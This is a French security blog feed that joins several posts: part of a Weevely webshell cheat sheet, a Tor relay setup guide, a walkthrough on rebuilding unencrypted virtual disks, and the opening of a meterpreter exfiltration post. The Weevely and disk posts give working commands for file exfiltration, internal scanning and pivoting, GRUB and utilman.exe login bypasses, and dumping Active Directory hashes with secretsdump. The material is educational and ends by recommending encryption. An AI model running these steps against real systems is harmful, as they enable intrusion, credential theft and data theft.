Vous obtenez donc un webshell interactif avec un rendu plutĂŽt sympathique. Cependant, il y a un seul bĂ©mol : vous n’avez pas l’autocomplĂ©tion des commandes Linux.

Par dĂ©faut, Weevely offre un chiffrement des Ă©changes entre l’attaquant et la cible, ce qui rend extrĂȘmement difficile, voire quasi-impossible, pour un analyste sĂ©curitĂ© de comprendre les actions spĂ©cifiques d’un attaquant qui l’utilise.

Avantages Inconvégnients
Standalone (upload d’un seul fichier en tant que payload, communication en mode « bindshell Â»)Certains modulent que weevely propose n’a pas un grand intĂ©rĂȘt.
Chiffre les communications par dĂ©faut, code php obfuscĂ© Pas d’auto-complĂ©tion des commandes « Native Â» Linux.
Facile d’utilisation
Conserve l’historique d’une prĂ©cĂ©dente session (commandes saisies, etc.)

Une fois connecté au webshell, il est possible de lister les modules de weevely via la commande :help , ou alors utiliser des commandes disponnible sur le systÚme.

II. Utilisation des modules avancés

A. Liste des modules

Voici la liste des modules actuellement supportés par weevely (4.0.1)

B. :file_upload

Ce module permet, comme son nom l’indique, d’uploader un fichier de votre machine d’attaque vers la cible. Cela peut ĂȘtre trĂšs pratique, notamment si la target n’a pas accĂšs Ă  Internet. Dans l’exemple ci-dessous, j’ai rĂ©cupĂ©rĂ© localement le binaire linpeas, que j’upload sur la cible via le protocole HTTP.

cd ~/temp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
:file_upload /home/kali/temp/linpeas_linux_amd64 /var/www/html/app/linpeas_linux_amd64

DĂšs lors que le fichier est correctement uploadĂ©, il ne manque plus qu’à attribuer les droits d’exĂ©cution.

C. :file_download

À contrario, si-vous souhaitez rĂ©cupĂ©rer des fichiers sur le serveur, vous le pouvez en utilisant :file_download

Pour cela, zipé le répertoire qui vous interesse avec :

zip -q -r <emplacement provisoire du fichier zip> <rĂ©pertoire qui va ĂȘtre zipĂ©>
zip -q -r /tmp/scripts.zip scripts 

Une fois cette action fĂȘte, il ne vous reste plus qu’à exfiltrer ce fichier vers un dossier de votre choix localement sur votre machine d’attaque.

:file_download <fichier à exfiltrer> <répertoire sur la machine d'attaque>
:file_download /tmp/scripts.zip /home/kali/temp/scripts.zip

D. :net_scan

Afin de rĂ©aliser un mouvement latĂ©ral / pivot, vous pouvez utiliser ce module qui vous permettra de scanner les ports d’une IP, ou d’un groupe d’adresse IP. (MĂȘme si le scan est relativement lent, celui-ci reste nĂ©anmoins assez furtif et bien moins « bruyant Â» qu’un nmap (par dĂ©faut)).

Mais d’abord un petit rappel pour expliquer la diffĂ©rence entre ces deux termes qui ont un sens commun, mais qui n’ont pas rĂ©ellement la mĂȘme finalitĂ© :

Un pivot en sĂ©curitĂ© informatique se produit lorsqu’un attaquant rĂ©ussit Ă  accĂ©der Ă  un systĂšme compromis, puis qu’il utilise ce dit systĂšme comme point d’entrĂ©e pour accĂ©der Ă  d’autres rĂ©seaux et ressources non accessibles par sa machine d’attaque par dĂ©faut.

Mouvement latĂ©ral : Pour expliquer ce terme, supposons qu’un attaquant ait rĂ©ussi Ă  compromettre le compte utilisateur d’un domaine Active Directory. À partir de ce compte, l’attaquant peut chercher Ă  se dĂ©placer en tentant, par exemple, d’accĂ©der Ă  d’autres serveurs en utilisant les identifiants qu’il a prĂ©cĂ©demment obtenus. Ainsi, il est possible de dĂ©couvrir que l’utilisateur compromis dispose de droits plus Ă©tendus qu’il ne paraĂźt au premier abord. Imaginons que ce compte appartienne Ă  un DAF (Directeur Administratif et Financier). Logiquement, il devrait avoir des autorisations pour accĂ©der Ă  d’autres applications liĂ©es Ă  la comptabilitĂ© et aux finances, et autres serveurs de fichiers.

En rĂ©sumĂ©, un pivot implique le passage d’un rĂ©seau Ă  un autre en utilisant un serveur compromis comme point de dĂ©part, tandis que le mouvement latĂ©ral se rĂ©fĂšre Ă  l’exploration et Ă  l’expansion horizontale Ă  l’intĂ©rieur du rĂ©seau « global Â» pour atteindre de nouvelles cibles.

Je ne rentre pas plus dans les dĂ©tails, si-vous souhaitez plus d’information sur le sujet, je vous invite Ă  consulter les liens suivants : https://delinea.com/blog/windows-privilege-escalation

Reprenons, ici le module net_scan vous permet en toute simplicitĂ© (vraiment) de rĂ©aliser un scan de ports sur un groupe d’adresses IP, voire mĂȘme sur une plage complĂšte. Pour rĂ©sumer, c’est une sorte de mini nmap qui va vous indiquer si l’IP est en ligne et si un service quelconque tourne derriĂšre celle-ci. Cela peut vous aider Ă  poursuivre votre exploration et Ă  identifier la prĂ©sence Ă©ventuelle d’autres machines sur le mĂȘme rĂ©seau avant d’effectuer Ă©ventuellement une action de pivotage.

Dans l’exemple ci-dessous je scan le rĂ©seau 192.168.130.0/24 afin de savoir si oui ou non d’autres services HTTP sont exĂ©cutĂ© sur les IPs de clui-ci sur les ports commun 80, 443.

:net_scan 192.168.130.0/24 80,443 

Ici, on constate donc que deux IPs semble héberger un serveur web.

E. :file_grep

Cette fonctionnalitĂ© permet de rechercher une chaine de caractĂšres recursivement dans tous les fichiers et sous-dossier du dossier actuel (« . Â»). MĂȘme si vous pouvez utiliser l’option -r de grep pour rĂ©aliser cela, certaines distributions Linux embarquant une version de grep diffĂ©rentes ou dĂ©prĂ©ciĂ©s n’embarqueront peut-ĂȘtre pas cette fonctionnalitĂ©.

Celle-ci s’avĂšre trĂšs pratique notamment pour dĂ©busquer des mots de passe, jeton de connexions ou autres donnĂ©s sensibles
 Attention tout de mĂȘme Ă  cibler les bons pattern, et les bons dossiers sinon vous risquez de vous noyer parmi les rĂ©sultats qui vous seront retournĂ©.

La commande suivante permet de rechercher la prĂ©sence de la string « admin: Â» au seins du dossier /var/www/html/app

:file_grep . admin:

F. :net_proxy

Lorsque vous utilisez l’option net_proxy avec Weevely, vous pouvez instancier un proxy HTTP afin d’encapsuler le trafic entre votre machine et le serveur distant. Cela peut ĂȘtre utile lorsque vous souhaitez contourner des restrictions rĂ©seau et/ou rĂ©aliser un pivoting.

:net_proxy

Si-vous identifiĂ© que votre machine cible dispose de plusieurs cartes rĂ©seau, cela peut Ă©ventuellement sous-entendre que celle-ci est interconnectĂ©e Ă  plusieurs rĂ©seaux. ProblĂšme en l’état actuel, il n’est pas possible d’atteindre une autre machine sur le rĂ©seau 10.50.50.0/24, car je n’ai aucune route qui me permette de l’atteindre.

C’est la qu’intervient notre module weevely :

:net_proxy

Par dĂ©faut le port :8080 sera ouvert cĂŽtĂ© attaquant. Celui-ci sera la porte d’entrĂ©e de la connexion du proxy. Pour faire faire transiter vos connexions via le proxy, il faudrait alors « proxifier Â» vos commandes soit via un outil dĂ©diĂ© comme proxychain soit en utilisant l’option « proxy Â» de votre outil.

Certains outils qui utilise d’autres protocole que HTTP ne fonctionneront pas dans ce cas prĂ©cis car weevely ne supporte pas l’encapsulation d’autres protocoles. Je vous conseil de vous reporter au tools suivants, si vous avez besoin de d’utiliser cette apprĂŽche :

  • ligolo-ng
  • chisel

Ici, je pars du principe que je connais l’existence du serveur web hĂ©bergĂ© via l’IP 10.50.50.2.

Une fois le proxy en place, je vais essayer d’atteindre le serveur web 10.50.50.2. Voici comment encapsuler vos requĂȘtes HTTP avec curl :

curl -x "http://127.0.0.1:8080" "http://10.50.50.2"

Dans le cas contraire, si je ne prĂ©cise pas le proxy, je n’accĂšderais pas au serveur web 10.50.50.2

G. :net_phpproxy

Ce module permet quant Ă  lui d’instancier provisoirement un proxy PHP sur le serveur cible. Seul petit hic, le rendu graphique est parfois abject Ă  cause entre autres de diverses imcompatbilitĂ©. (moteurs de rendu, etc.)

III. Utilisation de weevely sans modules

A. Auditer la configuration du serveur avec linpeas (oui toujours lui)

Si la machine Ă  accĂšs Ă  internet

Comme je vous l’ai dit plus haut, certains modules de weevely ne servent plus Ă  grand-chose, car depuis un certain temps maintenant, le support des commandes Linux est pris en charge nativement, ce qui semblait ne pas ĂȘtre le cas auparavant.

Si votre Cible à accÚs à internet, vous pouvez exécutez linpeas facilement en saisissant les commandes suivantes :

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64

Le rendu n’est pas instantanĂ©. Il faudra attendre la fin de l’exĂ©cution du script pour obtenir le rapport complet. Ceci est dĂ» aux restrictions du webshell weevely. Veuillez patienter quelques minutes.

Si la machine n’a pas accùs à internet

B. Exfiltrer des données

TrĂšs simplement, je peux instancier un serveur web python depuis le webshell weevely comme cela :

Votre target devra disposer de python d’installĂ©. Le module http.server est un module in-built de python3.

python3 -m http.server 8080

DĂšs lors, il est possible de rĂ©cupĂ©rer le fichier secrets.zip depuis ma machine d’attaque avec la commande wget (ou via un navigateur
)

IV. Conclusion

En conclusion, Weevely est un outil trĂšs sympathique qui s’avĂšre ĂȘtre aussi bien utile en CTF qu’en contexte rĂ©el. Sa capacitĂ© Ă  crĂ©er et Ă  gĂ©rer des webshells interactifs en fait un choix judicieux. Cet article « cheat sheet Â» Ă©tait loin d’ĂȘtre exhaustif. Je me suis concentrĂ© sur les modules et les aspects les plus intĂ©ressants selon moi. Il peut ĂȘtre utilisĂ© comme un guide pratique pour tirer le meilleur parti de cet outil.

Bel été à vous !

++

Archidote

L’article Weevely – un Webshell interactif polyvalent (cheat sheet) est apparu en premier sur Le Guide Du SecOps ‱ LGDS.

  •  

Configuration d’un relais Tor (Guard/Middle Node)

Les relais sont des serveurs ayant Ă©tĂ© configurĂ©s pour faire partie du rĂ©seau de Tor. Ils sont aussi appelĂ©s « routeurs Â» ou « nƓuds Â». Pour abrĂ©ger, Ils acheminent (Ă©mission-rĂ©ception) du trafic sur le rĂ©seau tor. Le principal intĂ©rĂȘt de faire tourner un relai Tor c’est bien Ă©videmment de rendre le rĂ©seau Tor dans son ensemble plus rapide, plus robuste contre les attaques, plus stable en cas de pannes.

I. Pourquoi configurer un relais Tor ?

Tor est l’un des outils d’anonymat les plus populaires et l’un des rĂ©seaux les plus dĂ©veloppĂ©s. Rien ne serait possible sans l’appui des milliers de bĂ©nĂ©voles qui partagent un peu de leur bande passante afin de contribuer tous ensemble au bon fonctionnement de ce rĂ©seau.

C’est pour ça qu’à travers cet article j’espĂšre Ă  la fois toucher des particuliers, mais avant tout des entreprises, organisations et associations sensibles Ă  la libertĂ© d’accĂ©der et de s’exprimer sur internet sans restriction pour quiconque.

Au vu du contexte international de ces derniers temps, il ne fait aucun doute que de plus en plus de pays restreignent l’accùs à tout ou partie d’internet.

II. Les types de relais tor

Pour rappel Il y a trois types de relais que vous pouvez faire tourner afin d’aider le rĂ©seau Tor :

  • EntrĂ© (Entry Guard)
  • Milieu (Middle)
  • Sortie (Exit)

<schema relais tor>

Pour rappel, cet article, prĂ©sente uniquement la configuration d’un noeud tor Middle. Attention, n’est pas relais « Guard Â» qui veut. Vous ĂȘtes Ă©lu « Guard Â» uniquement si votre relais est ĂągĂ© de plus de huit jours, dispose d’une bonne connectivitĂ© et respecte d’autres critĂšres que vous pouvez retrouver ici :

Source : https://blog.torproject.org/lifecycle-of-a-new-relay/

GĂ©nĂ©ralement un relais devient Guard entre 8 et 68 jours. Toutefois, vous ne serez pas « Guard Â» Ă  plein temps, vous alternerez entre Middle et Guard en fonction de l’état du rĂ©seau.

III. Est-ce légal ?

Tor est lĂ©gal en France. À ce jour (fin 2022), il n’y a rien qui vous interdit d’utiliser le rĂ©seau en oignon si ce que vous faites avec est autorisĂ© par la loi. Cependant, en raison de l’exposition lĂ©gale qui accompagne l’exĂ©cution d’un relais de sortie (comme l’exit node est en bou de chaine, c’est cette adresse IP qui sera enregistrĂ©e dans les logs des diffĂ©rents sites/serveurs.), les personnes/organisations qui mettent place un noeud de sortie peuvent faire face Ă  des plaintes si du trafic malveillant sort Ă  travers celui-ci.

C’est pour cette raison que vous ne devez pas exĂ©cuter un relais de sortie Tor depuis votre domicile (Sinon vous risquez trĂšs fortement d’entendre « toc, toc, toc Police Â» Ă  6H du matin chez vous).

Presque l’intĂ©gralitĂ© des relais tor de sortie sont affiliĂ©s Ă  une institution, comme une universitĂ©, une bibliothĂšque, un « hackerspace Â», une association senssiblent au traitement des donnĂ©es personnelles et Ă  la confidentialitĂ©. Une institution peut non seulement fournir une plus grande bande passante pour la sortie, mais est surtout mieux placĂ©e pour traiter les plaintes d’abus ou les rares enquĂȘtes d’application de la loi.

Sources :

IV. Installation

Assurez-vous que la liste de vos repositorys est à jour avant d’installer le paquet tor :

apt update
apt install tor

Modifier le fichier de configuration suivant, en insérant à la fin les lignes suivantes :

A. Configuration

Nickname    myTorRelay  
ContactInfo USERNAME@e-mail
ORPort      443 
ExitRelay   0
SocksPort   0

Attention, les informations ci-dessous seront publiques. Je vous conseille (trĂšs) vivement de ne pas inscrire des informations qui pourrait se rattacher Ă  vous.

Les 5 directives ci-dessous reprĂ©sentent la configuration minimale pour un relay Guard/Middle Tor. Si-vous souhaitez allouer uniquement une partie de votre bande passante et de votre quota internet Ă  votre relai, ajoutez les 4 directives suivantes. (Je vous le conseille vivement aussi, car un relay tor peut vite gĂ©nĂ©rer s’il n’est pas bridĂ© entre 50go et + par jour)

AccountingStart day 0:00 # reset Ă  minuit * les jours du quota 
AccountingMax 5 GBytes # 5go par jours 
RelayBandwidthRate 1000 KBytes # débit moyen 1mo 
RelayBandwidthBurst 2000 KBytes # dĂ©bit max en cas de pique : 2mo 

Pour plus d’informations :

Configuration finale de mon cÎté :

B. Assurez-vous que le relay est accessible depuis l’exterieur

Dans mon cas, il faut que je crĂ©e une rĂšgle de redirection de port dans ma box/routeur afin que mon serveur puisse ĂȘtre accessible depuis l’externe. J’ouvre donc le port 443 (TCP) externe que je redirige vers le port 443 (TCP) de l’IP 192.168.1.19 qui n’est qu’autre que mon serveur. :

C. Redémarrez le service

RedĂ©marrez le daemon tor pour que vos modifications de configuration prennent effet :

systemctl restart tor@default

Afin de vĂ©rifier si votre relay est bien configurĂ© correctement, je vous invite Ă  consulter les logs de celui-ci avec l’une des commandes suivantes :

journalctl -e -u tor@default

Une fois que vous avez la confirmation que votre relais est bien atteignable depuis l’extĂ©rieur (cf la fin des logs), vous pouvez vous en assurer en vĂ©rifiant si le rĂ©seau Tor peut accĂ©der Ă  votre serveur est accessible depuis le rĂ©seau tor :

Environ 3 heures aprĂšs le dĂ©marrage de votre relais, les informations concernant celui-ci devraient apparaĂźtre dans la recherche des relais sur le portail Metrics. Vous pouvez rechercher votre relais Ă  l’aide de son nom, de son IP, ou bien encore de son empreinte numĂ©rique.

Données statistique basique
Données statistiques avancés sur pleusieurs jours (2/2)

V. Surveiller votre relay en temps réel

Un petit tool trĂšs sympathique a Ă©tĂ© dĂ©veloppĂ© par la communautĂ© open source : Nyx. Celui-ci vous permettra d’avoir des statistiques sur le trafic en temps rĂ©el de votre relais Tor. Pour l’installer :

apt install nyx

Vous pouvez surveiller votre processus tor avec l’utilisation de la bande passante, la quantitĂ© de trafic, les logs.

Vous pouvez exĂ©cuter cette commande aussi en tant que « root Â». Mais cela n’est pas recommandĂ© pour des questions de sĂ©curitĂ©.

sudo -u debian-tor nyx

J’espĂšre qu’à travers cet article je vous aurai un peu sensibilisĂ© sur le fait que nous ne sommes clairement pas tous Ă©gaux en ce qui concerne l’accĂšs non censurĂ© Ă  Internet, surtout dans les pays ou le rĂ©gime politique en place est autocratique.

Alors non, utiliser le navigateur Tor n’est pas forcĂ©ment utile pour vous en fonction de votre positionnement gĂ©ographique, mais pour d’autres la rĂ©ponse est oui.

Vive l’internet non censurĂ© et accessible par tous !

++

L’article Configuration d’un relais Tor (Guard/Middle Node) est apparu en premier sur Le Guide Du SecOps.

  •  

Reconstruction d’OS non chiffrĂ©s : Analyse post-exploitation

Rappel : L’article qui va suivre contient des techniques et mĂ©thodes qui peuvent s’avĂ©rer ĂȘtre illĂ©gales et dangereuses si elles sont utilisĂ©es Ă  mauvais escient. Ce tutoriel ne doit en aucun cas ĂȘtre utilisĂ© contre un particulier, une entreprise, une organisation Ă  but non lucratif ou une administration publique de quelconque pays. Je me dĂ©douane de toute responsabilitĂ© en cas de problĂšmes ou d’incidents de quelque nature que ce soit aprĂšs le visionnage de cet article.

**FOR EDUCATIONAL PURPOSES ONLY**

0. Introduction

Le chiffrement des disques durs est une pratique fondamentale pour protĂ©ger les donnĂ©es sensibles des entreprises et des utilisateurs individuels. En effet, en cas de vol de la machine (virtuelle/physique) les donnĂ©es ne peuvent pas ĂȘtre accessibles sans la clĂ© de dĂ©chiffrement appropriĂ©e. En outre, cette technique est Ă©galement devenue un Ă©lĂ©ment-clĂ© de certaines conformitĂ©s rĂ©glementaires dans de nombreux secteurs. Dans cet article, nous allons aborder l’analyse et la reconstruction de machines virtuelles (VMs) suite Ă  un scĂ©nario d’attaque fictif ayant impactĂ© un serveur de sauvegarde contenant des fichiers de disque virtuel au format .vmdk non chiffrĂ© (Ă  tout hasard : p).

I. Scenario :

Un attaquant a été en capacité de récupérer plusieurs fichiers de disques virtuels aprÚs avoir eu accÚs à un serveur de sauvegarde utilisant le protocole ISCSi. Il souhaite les analyser afin de vérifier si oui ou non il pourrait accéder à des données confidentielles.

Voici les deux fichiers suivants :

  • Ubuntu : Ubuntu-22.04-Crash-Test-Do-Not-Update.vmdk
  • Windows Server : DC-cl1.vmdk

Afin de faciliter la rĂ©daction de cet artice, je vais utiliser exclusivement des fichiers .vmdk (fichier de disque virtuel utilisĂ© par les machines virtuelles qui ont vocation Ă  ĂȘtre « cross-platforme Â»)

II. Pour une machine linux

J’effectue la dĂ©monstration avec une VM Ubuntu 22.04

A. Analyse des fichiers (Lecture seulement)

Depuis un hĂŽte Windows, avec le logiciel 7ZIP, je peux facilement ouvrir le fichier .vmdk qui n’est autre qu’un « fichier conteneur Â» dĂ©diĂ© aux stockages des donnĂ©es de la VM :

Les 3 fichiers « .img Â» reprĂ©sente chaque partition du systĂšme d’exploitation. La plus intĂ©ressante Ă©tant « 2.img Â» qui est le (fichier le plus grand) qui contient l’ensemble des donnĂ©es de l’OS.

Suite à l’ouverture de celui-ci j’accùde directement à la racine du systùme de fichier. Il est donc possible de consulter n’importe quel dossiers/fichiers sans aucune restriction.

Ici, par exemple, j’accĂšde Ă  un fichier « tĂ©moin Â» stockĂ© dans /root que j’avais prĂ©cĂ©demment crĂ©Ă© en guise de test.

B. Reconstruction de la VM et bypass de l’authentification

Je vais effectuer cette manipulation avec Virtualbox, mais cela est faisable aussi sur VMware Workstation. (dans mon cas j’ai rencontrĂ© des petits soucis alĂ©atoires de m*rde avec VMware Workstation 17 Sous Linux
)

Lors de la crĂ©ation de la VM, passez en mode « Expert Â» afin d’avoir une vue un peu plus dĂ©taillĂ©. Ajouter un disque virtuel existant (Use an existing virtual hard disk file) afin que la futur VM se base sur ce disque pour dĂ©marrer.

Une fois les paramĂ©trages prĂ©liminaires effectuĂ©s, dĂ©marrez la VM et saisissez au plus vite la combinaison de touches shift+echap afin d’afficher le menu de dĂ©marrage nommĂ© « GRUB Â» si l’OS que vous essayez de reconstruire n’affiche pas ce menu par dĂ©faut au boot.

Rappel : SĂ©quence de dĂ©marrage d’un ordinateur – Exemple avec un OS basĂ© sur Linux

Ensuite, appuyez sur la touche ‘e’ pour modifier les paramùtres de grub de maniùre temporaire,et ainsi modifier le comportement de l’amorçage du kernel.

Descendez Ă  la fin du fichier et localisez le bou de ligne « ro quiet splash $vt_handoff« 

Remplacez ce bout de ligne par : rw init=/bin/bash. Enregistrez les modifications avec la touche F10. Cela aura d’ailleurs pour effet de reprendre la sĂ©quence de dĂ©marrage de la VM.

Cette action va faire booter le systĂšme dans un mode « spĂ©cial Â» appellĂ© : Mono-utilisateur (root, le seul, l’unique, le vrai)

J’obtiens donc un shell root en lecture/Ă©criture (d’ou l’instruction rw init=/bin/bash plus haut).

En cas d’échec, remonter le systĂšme de fichiers de force (je n’ai jamais eu Ă  la faire pour ma part lors de mes tests) :

mount / -o remount,rw

Il ne me reste plus qu’à changer les mots de passe de(s) utilisateur(s) en question(s). Pour ma part je vais changer le mdp de « user Â» (qui a des droits sudo) et de root.

passwd user 
passwd # Modifie le mdp de l'utilisateur courant (root) :p 

Note : Vu que « user Â» dispose de droits sudo, j’aurais pu me passer de changer directement le mdp de root.

Une fois que vous avez changĂ© le(s) mot(s) de passe, redĂ©marrer « de force Â» le systĂšme avec :

reboot -f 

Le systĂšme va alors booter « normalement Â» et vous pourrez vous connecter avec le(s) nouveau(x) mdp associĂ©(s) au(x) compte(s).

III. Pour une machine Windows

J’effectue la dĂ©monstration avec une VM Windows server 2022

A. Analyse des fichiers (Lecture seulement)

MĂȘme principe qu’avec un systĂšme d’exploitation basĂ© sur Linux, ouvrer le fichier « disque virtuel (.vmdk) Â» avec 7zip (ou Ă©quivalent)

SĂ©lectionnez le fichier « Basic Data Partition Â» qui contient le systĂšme de fichiers racine d’un OS Windows.

De nouveau, ici vous avez accĂšs en lecture seulement aux fichiers. MĂȘme si vous n’avez pas de droits d’écriture, vous avez quand mĂȘme la capacitĂ© de copier les fichiers, ce qui va ĂȘtre fort utile pour l’étape suivante.

B. Dump du fichier NTDS.dit

Pour rappel, le fichier NTDS.dit est la « base de donnĂ©es Â» de l’Active Directory qui stocke les informations d’identification et de sĂ©curitĂ© des utilisateurs, des groupes et des ordinateurs. (hashes
)

En accédant au répertoire Windows\NTDS depuis 7zip, je suis en capacité de récupérer le fameux fichier NTDS.dit en le copiant.

Afin d’extraire les donnĂ©es de ce fichier, il me faut absolument disposer des deux fichiers connexes Windows\System32\SECURITY et Windows\System32\SYSTEM. Pourquoi allez-vous me dire ?

Et bien voici la réponse :p

Comme dit prĂ©cĂ©dement, lorsqu’un contrĂŽleur de domaine Active Directory est installĂ©, les informations d’identification des utilisateurs sont stockĂ©es dans un fichier appelĂ© NTDS.dit. Ce fichier est protĂ©gĂ© par une clĂ© de chiffrement stockĂ©e dans les fichiers SYSTEM et SECURITY.

Pour accĂ©der au contenu du fichier NTDS.dit, il est donc nĂ©cessaire d’extraire la clĂ© de chiffrement Ă  partir des fichiers SYSTEM et SECURITY. Cette clĂ© de chiffrement est utilisĂ©e pour dĂ©chiffrer le contenu du fichier NTDS.dit et donc rĂ©cupĂ©rer les informations d’identification des utilisateurs.

Copiez donc ces deux fichiers au sein du mĂȘme rĂ©pertoire que celui ou vous avez stockĂ© NTDS.dit

Depuis l’utilitaire secretdump (de la suite impacket) qui de mĂ©moire est un outil natif prĂ©sent dans les versions rĂ©centes de Kalilinux, vous pouvez extraire les haches de tous les utilisateurs du domaine avec la commande suivante :

/usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local
Et voilĂ  !

C. Reconstruction de la VM et bypass de l’authentification

MĂȘme principe que plus haut Ă  quelques diffĂ©rences prĂšs. Lors de la crĂ©ation de la VM, passez en mode « Expert Â» afin d’avoir une vue un peu plus dĂ©taillĂ©. Ajouter un disque virtuel existant (Use an existing virtual hard disk file) afin que la futur VM se base sur ce disque pour dĂ©marrer.

Puis, dans les paramĂštres de la VM, ajoutez un disque de dĂ©marrage. Vu que l’OS cible est Windows Server, il est recommandĂ© pour Ă©viter tout bug, d’utiliser un fichier ISO (rĂ©cent) qui correspond Ă  la version du systĂšme. (Ici Windows Server 2022)

Une fois que vous avez branché celui-ci à la VM, vous pouvez démarrer la VM et utiliser la touche de boot F12 pour choisir ce périphérique de démarrage

Ou alors modifier directement l’ordre de boot dans les paramùtres systùme de la VM

DĂšs lors que vous ĂȘtes arrivĂ© sur le menu initial de l’installation de Windows (suite au boot du fichier .ISO), ajustez votre clavier et cliquez sur suivant.

Puis, cliquez sur « RĂ©parer L’ ordinateur Â»

Cela va vous afficher le « menu bleu Â» de Windows. Cliquez sur DĂ©pannage

Puis sur « Invite de commande Â»

Un terminal va alors s’ouvrir. GrĂące Ă  celui-ci, il va ĂȘtre possible de pouvoir effectuer quelques opĂ©rations permettant a posteriori de modifier le mot de passe de n’importe quel utilisateur du systĂšme.

Dans un premier temps, il convient avec l’utilitaire diskpart d’assigner une lettre au « Volume 1 Â» du disque 0 (celui-ci en comporte 4 comme l’image le montre). Ce « Volume 1 Â» contient les donnĂ©es du systĂšme. Depuis peu, aucune lettre lui est assignĂ©e par dĂ©faut. (sur les nouvelles versions)

Suivez les Ă©tapes ci-dessous

Entrer sur la partition en question Ă  l’aide de la lettre que vous lui avez assignĂ©e. Dirigez-vous vers le dossier Windows\System32.

Renommer le programme utilman.exe en utilman.exe.old et copiez le programme cmd.exe vers le fichier utilman.exe. Ce tour de « passe passe Â», va vous permettre d’ouvrir un terminal avec des droits d’administrateur lors de l’affichage de l’écran de verrouillage de l’OS en cliquant sur l’icĂŽne « FacilitĂ© d’accĂšs Â» / « Ease of Access Â»

Eteignez la machine, puis rallumez la.

C.1 Cas spĂ©cial – SystĂšme d’exploitation installĂ© avec UEFI

Si lors du dĂ©marrage de celle-ci, vous obtenez le message suivant FATAL: INT18: BOOT FAILURE, cela indique trĂšs probablement que vous essayez de booter sur un systĂšme d’exploitation supportant EFI/UEFI, mais que vous n’avez pas activĂ© ce mode.

Éteignez de force, et allez dans les paramĂ©trages du systĂšme de la VM afin de cocher l’option enable EFI (SpĂ©cial Oses only)

Quelques petits rappels sur EFI/UEFI afin que les choses soient un peu plus claires :

EFI (Extensible Firmware Interface) et UEFI (Unified Extensible Firmware Interface) sont tous deux des normes de firmware utilisĂ©es pour initialiser le matĂ©riel de l’ordinateur et lancer le systĂšme d’exploitation. La principale diffĂ©rence entre les deux est que UEFI est une version amĂ©liorĂ©e et plus rĂ©cente d’EFI.

EFI a Ă©tĂ© introduit par Intel en 2000 pour remplacer le BIOS (Basic Input/Output System), qui Ă©tait utilisĂ© pour initialiser le matĂ©riel et lancer le systĂšme d’exploitation depuis les annĂ©es 1980. Il a Ă©tĂ© conçu pour ĂȘtre plus flexible et extensible que le BIOS, avec la possibilitĂ© de charger des pilotes et des applications supplĂ©mentaires avant le lancement du systĂšme d’exploitation.

UEFI comprend toutes les fonctionnalitĂ©s d’EFI, mais avec des amĂ©liorations telles que la prise en charge de disques durs de plus de 2 To, la compatibilitĂ© avec les interfaces graphiques pour une meilleure interface utilisateur, la possibilitĂ© de dĂ©marrer Ă  partir d’un rĂ©seau et une sĂ©curitĂ© amĂ©liorĂ©e.

L’option « Enable EFI (special OSes only) Â» dans VirtualBox permet donc d’activer le support de l’EFI/UEFI pour les machines virtuelles. En effet, mĂȘme si depuis ces derniĂšres annĂ©es de plus en plus d’OS s’installe par dĂ©faut via UEFI, il y a encore beaucoup d’OS qui s’installe en mode « BIOS Â» par dĂ©faut (surtout pour les distributions open source).

Si vous cochez cette option, cela signifie que vous souhaitez que votre machine virtuelle utilise l’EFI / UEFI pour dĂ©marrer le systĂšme d’exploitation. Cela peut ĂȘtre nĂ©cessaire pour certains systĂšmes d’exploitation plus rĂ©cents qui requiĂšrent l’EFI / UEFI pour dĂ©marrer.

Avant de redĂ©marrer, n’oubliez pas changer l’ordre de boot par dĂ©faut (si vous l’avez changĂ©) comme ça vous dĂ©marrerez directement sur le disque contenant l’OS et non sur l’ISO montĂ© as a DVD.

Une fois que tout est bon, dĂ©marrez la machine. Depuis l’écran de verrouillage du systĂšme appuyez sur l’icĂŽne afin d’exĂ©cuter non pas le processus utilman.exe « lui-mĂȘme Â» mais cmd.exe que nous avons copiĂ© en utilman.exe, pour qu’un terminal privilĂ©giĂ© puisse se dĂ©clencher lorsque vous cliquez sur l’icĂŽne en question.

Pro Tips : Maximiser votre fenĂȘtre, car il se peut que le terminal ne s’affiche pas correctement.

Sur windows 11, le logo ci-dessus a Ă©tĂ© remplacĂ© par un petit « petit bonhomme Â»

Un terminal « privilĂ©giĂ© Â» devrait apparaĂźtre.

Voici les commandes que vous allez devoir saisir afin de reset le(s) mdp de n’importe quels utilisateurs (en fonction de votre contexte, les commandes sont à adapter)

Si par dĂ©faut le compte administrator (local) n’a pas Ă©tĂ© renommĂ©, vous pouvez reset son mot de passe avec :

net user administrator 123+aze

Pour reset le compte administrator (du domaine) :

net user administrator 123+aze /domain

AprĂšs avoir effectuĂ© ce(s) actions, vous pouvez alors accĂ©der Ă  la session de l’utilisateur(s) de votre choix.

IV. Conclusion

Le chiffrement des partitions systĂšme (windows ou linux) est la solution pour remĂ©dier Ă  ce problĂšme de sĂ©curitĂ© majeure mais que beaucoup beaucoup de personnes igniore. Cela permetra de protĂ©ger les donnĂ©es stockĂ©es sur vos machines en les rendant illisibles sans la clĂ© de dĂ©chiffrement appropriĂ©e (chiffrement symĂ©trique). Alternativement, vous pouvez utiliser les fonctions de « chiffrement de VM Â» que proposent certains hyperviseurs comme les Ă©diteurs VMware, ou Oracle.

++

Geoffrey

L’article Reconstruction d’OS non chiffrĂ©s : Analyse post-exploitation est apparu en premier sur Le Guide Du SecOps.

  •  

Exfiltrer des données depuis une session meterpreter (Post Exploitation)

Rappel : L’article qui va suivre contient des techniques et mĂ©thodes qui peuvent s’avĂ©rer ĂȘtre illĂ©gales et dangereuses si elles sont utilisĂ©es Ă  mauvais escient. Ce tutoriel ne doit en aucun cas ĂȘtre utilisĂ© contre un particulier, une entreprise, une organisation Ă  but non lucratif ou une administration publique de quelconque pays. Je me dĂ©douane de toute responsabilitĂ© en cas de problĂšmes ou d’incidents de quelque nature que ce soit aprĂšs le visionnage de cet article.

Bonjour Ă  tous dans ce billet nous allons voir comment exfiltrer des donnĂ©es depuis une machine dont nous avons pris le contrĂŽle en amont. Nous allons utiliser une session meterpreter dĂ©jĂ  connectĂ©e Ă  une victime disposant d’un systĂšme d’exploitation Windows.

nb: Cet article ne vous montreras pas comment prendre le contrîle d’une machine windows.

I. Prérequis

  • Une session meterpreter (depuis kalilinux), connectĂ©e Ă  une machine Windows (serveur 2019 dans mon cas).
